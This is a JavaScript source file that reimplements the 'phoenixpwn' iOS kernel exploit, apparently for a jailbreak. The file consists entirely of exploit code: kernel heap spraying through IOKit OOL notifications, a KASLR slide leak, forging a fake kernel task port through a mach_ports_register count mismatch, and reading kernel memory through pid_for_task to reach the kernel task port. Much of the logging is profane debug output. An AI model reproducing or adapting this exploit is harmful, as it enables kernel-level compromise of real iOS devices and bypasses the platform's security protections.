/* * phoenixpwn kernel exploit * reimplemented in JS * greetz to @s1guza, @tihmstar, @i41nbeer, @mbazaliy */ var sanity_port = 0; var MACH_PORT_RIGHT_RECEIVE = 0x1; var MACH_MSG_TYPE_MAKE_SEND = 0x14; var MACH_PORT_LIMITS_INFO = 0x1; var MACH_PORT_LIMITS_INFO_COUNT = 0x1; var kport_size = 0x78; var kport_ip_bits4 = 0x0; var kport_ip_references4 = 0x4; var kport_ip_lock_type4 = 0x10; var kport_ip_messages_port_qlimit2 = 0x42; var kport_ip_receiver4 = 0x4c; var kport_ip_srights4 = 0x70; var KERN_SUCCESS = 0; var NULL = 0; var MACH_PORT_NULL = 0; var req_init_port_set = 0x1c; var req_head_msgh_bits = 0x0; var req_head_msgh_request_port = 0x8; var req_head_msgh_reply_port = 0xc; var req_head_msgh_id = 0x14; var req_msgh_body_msgh_descriptor_count = 0x18; var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x2; var req_init_port_set_address = 0x0; var req_init_port_set_count = 0x4; var MACH_RCV_MSG = 0x2; var MACH_MSG_TIMEOUT_NONE = 0; var TASK_BSDINFO_OFFSET = 0x200; var BSDINFO_PID_OFFSET = 0x8; function find_kerneltask() { return 0x8041200c; } function find_ipcspacekernel() { return 0x80456664; } var task_self = 0; var kslide = 0; var fakeportData = new mach_port_t(); var kOSSerializeDictionary = 0x01000000; var kOSSerializeArray = 0x02000000; var kOSSerializeSet = 0x03000000; var kOSSerializeNumber = 0x04000000; var kOSSerializeSymbol = 0x08000000; var kOSSerializeString = 0x09000000; var kOSSerializeData = 0x0a000000; var kOSSerializeBoolean = 0x0b000000; var kOSSerializeObject = 0x0c000000; var kOSSerializeTypeMask = 0x7F000000; var kOSSerializeDataMask = 0x00FFFFFF; var kOSSerializeEndCollection = 0x80000000; var kOSSerializeMagic = 0x000000d3; var SIZEOF_BYTES_MSG = 384; var PORTS_NUM = 1024; var PORTS_NUM_PRESPRAY = 100; var MIG_MAX = 0x1000; function spray_data(mem, size, num, portptr) { var err = shit_heap(4); var ret = 0; var master = shit_heap(4); host_get_io_master(mach_host_self(), master); var dict = shit_heap(MIG_MAX); var __cnt = 0; write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++; write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++; write_u32(dict + (__cnt << 2), kOSSerializeSymbol | 4); __cnt++; write_u32(dict + (__cnt << 2), 0x0079656b); __cnt++; write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++; for (var i = 0; i < num; i++) { write_u32(dict + (__cnt << 2), ((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++; if (mem != 0 && size != 0) { memcpy(dict + (__cnt << 2), mem, size); } memset(dict + (__cnt << 2) + size, 0, SIZEOF_BYTES_MSG - size); __cnt += SIZEOF_BYTES_MSG / 4; } p0laris_log("%x %x\n", master, read_u32(master)); p0laris_log("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide())); ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr); p0laris_log("still alive? %x %x\n", err, read_u32(err)); if (ret == KERN_SUCCESS) { ret = read_u32(err); } p0laris_log("still alive? %x %x\n", err, read_u32(err)); return ret; } function copyinPort(kport, cnt) { var err = shit_heap(4); var ret = 0; var self = task_self; var service = MACH_PORT_NULL; var client = shit_heap(4); var it = shit_heap(4); var o = MACH_PORT_NULL; var data = shit_heap(4); var master = new io_master_t(); var host_self = mach_host_self(); host_get_io_master(mach_host_self(), master.addy); ret = spray_data(NULL, 0, 5, data); p0laris_log("sprayed, still here\n"); p0laris_log("spray_data=%d (%s)\n", ret, mach_error_string(ret)); p0laris_log("sprayed, still here\n"); // p0laris_log("%x %x\n", master, read_u32(master)); service = IOServiceGetMatchingService(master.deref(), IOServiceMatching("AppleMobileFileIntegrity")); p0laris_log("service=%x\n", service); var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); p0laris_log("%x\n", tst); var kpbuf = tst + 4; for (var i = 0; i < cnt; i++) { write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size); } var err = shit_heap(4); var xmls = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1768515945"; var xml = sptr(xmls); ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client); p0laris_log("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); if (ret == KERN_SUCCESS) { ret = read_u32(err); } p0laris_log("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); IORegistryEntryGetChildIterator(service, "IOService", it); var found = false; var o = IOIteratorNext(read_u32(it)); while (o != MACH_PORT_NULL && !found) { var buf = shit_heap(16 * 4); var size = shit_heap(4); write_u32(size, 16 * 4); ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size); p0laris_log("%d %s\n", ret, mach_error_string(ret)); if (ret == KERN_SUCCESS) { spray_data(tst, strlen(tst) + 1, 10, fakeportData.addy); kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0; p0laris_log("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16)); found = true; return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0; } } p0laris_log("didn't find it\n"); } /* * this code isn't getting native_ptr because fuck */ function prepare_ptr(dict, size, ptr, num) { var idx = 0; write_u32(dict + (idx << 2), kOSSerializeMagic); idx++; write_u32(dict + (idx << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); idx++; write_u32(dict + (idx << 2), kOSSerializeSymbol | 4); idx++; write_u32(dict + (idx << 2), 0x0079656b); idx++; write_u32(dict + (idx << 2), (kOSSerializeEndCollection | kOSSerializeArray | (num >>> 0))); idx++; for (var i = 0; i < num; i++) { write_u32(dict + (idx << 2), ((i == (num - 1)) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8); idx++; write_u32(dict + (idx << 2), ptr); idx++; write_u32(dict + (idx << 2), ptr); idx++; } write_u32(size, idx * 4); return KERN_SUCCESS; } function spray(dict, size, port) { var master = new io_master_t(); var err = new uint32_t(); var ret = 0; ret = host_get_io_master(mach_host_self(), master.addy); ret = io_service_add_notification_ool(master.deref(), "IOServiceTerminate", dict, size, MACH_PORT_NULL, NULL, 0, err.addy, port); if (ret == KERN_SUCCESS) { ret = err.deref(); } return ret; } var kp = 0; function spray_ports(number_port_descs) { if (kp == 0) { kp = new mach_port_t(); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp.addy); mach_port_insert_right(task_self, kp.deref(), kp.deref(), MACH_MSG_TYPE_MAKE_SEND); } var mp = new mach_port_t(); var ret_ = mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp.addy); p0laris_log("mpa %d (%s)\n", ret_, mach_error_string(ret_)); ret_ = mach_port_insert_right(task_self, mp.deref(), mp.deref(), MACH_MSG_TYPE_MAKE_SEND); p0laris_log("mpir %d (%s)\n", ret_, mach_error_string(ret_)); ret_ = send_ports(mp.deref(), kp.deref(), 2, number_port_descs); p0laris_log("sp %d (%s)\n", ret_, mach_error_string(ret_)); var ret = mp.deref(); return ret; } function fast_log2(n) { var i = 0; while (n >>= 1) { i++; } return i; } function fast_array_mul(arr, n) { var up_to = fast_log2(n) + 1; var tmp_arr = arr; var done = 0; for (var i = 0; i < up_to; i++) { tmp_arr.push.apply(tmp_arr); done = (1 << i); } return tmp_arr; } function send_ports(target, payload, num, number_port_descs) { var init_port_set = new mach_port_t(num); var InP = new Request_sp(number_port_descs); var InP_obj = InP.deref(); InP_obj.msgh_body.msgh_descriptor_count = number_port_descs; for (var i = 0; i < number_port_descs; i++) { InP_obj.init_port_set[i].address = init_port_set.addy; InP_obj.init_port_set[i].count = num; InP_obj.init_port_set[i].disposition = 19; InP_obj.init_port_set[i].deallocate = false; InP_obj.init_port_set[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; } InP_obj.Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); InP_obj.Head.msgh_remote_port = target; InP_obj.Head.msgh_local_port = 0; InP_obj.Head.msgh_id = 1337; InP.write(InP_obj); var ret = mach_msg(InP.addy, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL); return ret; } function release_port_ptrs(port) { var req = new uint8_t(0x1c + (5 * 0xc) + 0x8); var ret = mach_msg(req.addy, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (ret != KERN_SUCCESS) { p0laris_log("mach_recv %d %s\n", ret, mach_error_string(ret)); } } function r3gister(task, init_port_set, real_count, fake_count) { var mess = shit_heap(0x1000); var InP_ptr = mess; var OutP = mess; var InP = new Request_r3(1, mess); var InP_obj = InP.deref(); InP_obj.msgh_body.msgh_descriptor_count = 1; InP_obj.init_port_set.address = init_port_set; InP_obj.init_port_set.count = real_count; InP_obj.init_port_set.disposition = 19; InP_obj.init_port_set.deallocate = false; InP_obj.init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; InP_obj.NDR = read_buf(NDR_record + get_dyld_shc_slide(), 8); InP_obj.init_port_setCnt = fake_count; InP_obj.Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); InP_obj.Head.msgh_remote_port = task; InP_obj.Head.msgh_local_port = mig_get_reply_port(); InP_obj.Head.msgh_id = 3403; InP.write(InP_obj); var ret = mach_msg(InP.addy, 0x3, 0x34, 0x2c, InP_obj.Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (ret == KERN_SUCCESS) { // i'm not making a fucking class for this shit ret = read_u32(OutP + 0x24); } return ret; } function mach_ports_lookup_shit() { // p0laris_log("fuck\n"); var arrz = shit_heap(4); // p0laris_log("fuck\n"); write_u32(arrz, 0); // p0laris_log("fuck\n"); var sz = shit_heap(4);; // p0laris_log("fuck\n"); write_u32(sz, 3); // p0laris_log("fuck\n"); // var mts = mach_task_self(); p0laris_log("fuck\n"); calls4arg("mach_ports_lookup", task_self, arrz, sz, 0); // puts("helo"); // p0laris_log("mpl success\n"); // p0laris_log("done %x %x %x %x\n", read_u32(read_u32(arrz) + 0), read_u32(read_u32(arrz) + 4), read_u32(read_u32(arrz) + 8), read_u32(kp)); // p0laris_log("mpl success\n"); return read_u32(read_u32(arrz) + 8); // return 0x42603; } var kernel_task_addr = 0; function get_kernel_task() { var ret = 0; var tfp0 = 0; /* p0laris_log("fuck\n"); var arrz = shit_heap(4); p0laris_log("fuck\n"); write_u32(arrz, 0); p0laris_log("fuck\n"); var sz = shit_heap(4);; p0laris_log("fuck\n"); write_u32(sz, 3); p0laris_log("fuck\n"); var mts = mach_task_self(); p0laris_log("fuck\n"); mach_ports_lookup(mts, arrz, sz); p0laris_log("mpl success\n"); return; */ sanity_port = shit_heap(4); task_self = mach_task_self(); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, sanity_port); mach_port_insert_right(task_self, read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND); limits = shit_heap(4); write_u32(limits, 1000); mach_port_set_attributes(task_self, read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT); p0laris_log("starting exploit\n"); var data = shit_heap(16); var kport = shit_heap(kport_size * 2); var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK write_u32(kport + kport_ip_references4, 100); write_u32(kport + kport_ip_lock_type4, 0x11); write_u16(kport + kport_ip_messages_port_qlimit2, 777); write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy write_u32(kport + kport_ip_srights4, 99); var big_buf = shit_heap(MIG_MAX); var small_buf = shit_heap(MIG_MAX); var big_size = new uint32_t(); var small_size = new uint32_t(); var fp = new mach_port_t(PORTS_NUM); var postSpray = shit_heap(4); usleep(10000); sched_yield(); var kptr = copyinPort(kport, 2); p0laris_log("0x%08x\n", kptr); write_u32(data, kptr); write_u32(data + 4, kptr); prepare_ptr(big_buf, big_size, kptr, 256); prepare_ptr(small_buf, small_size, kptr, 32); again: while (true) { sched_yield(); var dummy = shit_heap(4); for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) { var dummy = shit_heap(4); spray(big_buf, read_u32(big_size), dummy); } sched_yield(); var dummy = shit_heap(4); for (var i = 0; i < PORTS_NUM; i++) { // for (var i = 0; i < 8; i++) { var dummy = shit_heap(4); if (i % 4 == 0) { // p0laris_log("spray_ports %d\n", i); } write_u32(fp + (i << 2), spray_ports(1)); spray(small_buf, read_u32(small_size), dummy); } sched_yield(); for (var i = 0; i < PORTS_NUM; i++) { // for (var i = 0; i < 8; i++) { if (i % 4 == 0) { // p0laris_log("release_port_ptrs %d\n", i); } release_port_ptrs(read_u32(fp + (i << 2))); } // return; var arrz = shit_heap(16); write_u32(arrz, 0); write_u32(arrz + 4, 0); write_u32(arrz + 8, 0); write_u32(arrz + 12, 0); var sz = shit_heap(4); write_u32(sz, 3); // mach_ports_lookup_shit_dealloc(); var ret__ = r3gister(mach_task_self(), arrz, 2, 3); p0laris_log("%d %s\n", ret__, mach_error_string(ret__)); p0laris_log("r3gister done\n"); mach_ports_lookup(mach_task_self(), arrz, sz); p0laris_log("done %x %x %x %x\n", read_u32(read_u32(arrz) + 0), read_u32(read_u32(arrz) + 4), read_u32(read_u32(arrz) + 8), read_u32(kp)); p0laris_log("mpl success\n"); var fake_port = read_u32(read_u32(arrz) + 8); // while (true) { // // } p0laris_log("fuck\n"); // var fake_port = read_u32(read_u32(arrz) + 8); /* * BEGIN JANK FUCKING HACK */ // var fake_port = mach_ports_lookup_shit(); p0laris_log("fuck\n"); p0laris_log("%x\n", fake_port); p0laris_log("fuck\n"); // todo: add mach_port_valid stuff p0laris_log("fuck\n"); p0laris_log("fuck\n"); /* for (var i = 0; i < 0x78; i += 4) { write_u32(kport + i, 0x41410000 | i); } for (var i = 0; i < 0x78; i += 4) { write_u32(kport + i + 0x78, 0x41420000 | i); }*/ write_u32(kport + 0x50, kptr + 0x78 - TASK_BSDINFO_OFFSET); p0laris_log("fuck\n"); write_u32(ptr, find_kerneltask() + kslide - BSDINFO_PID_OFFSET); p0laris_log("fuck\n"); var tst_str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0"; p0laris_log("fuck\n"); var tst = _sptr(tst_str); p0laris_log("fuck\n"); var kpbuf = tst + 4; p0laris_log("fuck\n"); p0laris_log("fuck\n"); for (var i = 0; i < 2; i++) { p0laris_log("fuck\n"); write_buf(kpbuf + (i * 0x78), read_buf(kport + (i * 0x78), 0x78), 0x78); } p0laris_log("fuck\n"); usleep(10000); sched_yield(); mach_port_destroy(mach_task_self(), fakeportData.deref()); ret__ = spray_data(tst, tst_str.length + 1, 10, fakeportData.addy); p0laris_log("sd %d (%s)\n", ret__, mach_error_string(ret__)); p0laris_log("fuck\n"); p0laris_log("done realloc"); p0laris_log("fuck\n"); p0laris_log("fuck\n"); var kernel_task_addr = shit_heap(4); p0laris_log("fuck\n"); p0laris_log("kernel_task address: 0x%08x\n", read_u32(kernel_task_addr)); ret__ = pid_for_task(fake_port, kernel_task_addr); p0laris_log("%d %s\n", ret__, mach_error_string(ret__)); p0laris_log("fuck\n"); p0laris_log("IF YOU SEE THIS AND IT LOOKS LEGIT, SHIT HAS FUCKING HAPPENED\n"); p0laris_log("fuck\n"); call4arg(sym_cache["puts"], sptr("kernel_task address: 0x" + pad_left(read_u32(kernel_task_addr).toString(16), '0', 8)), 0, 0, 0); if (read_u32(kernel_task_addr) === 0xffffffff) { continue again; } p0laris_log("kernel_task address: 0x%08x\n", read_u32(kernel_task_addr)); p0laris_log("fuck\n"); p0laris_log("get lucky\n"); while (true) { sleep(3600); } return tfp0; } }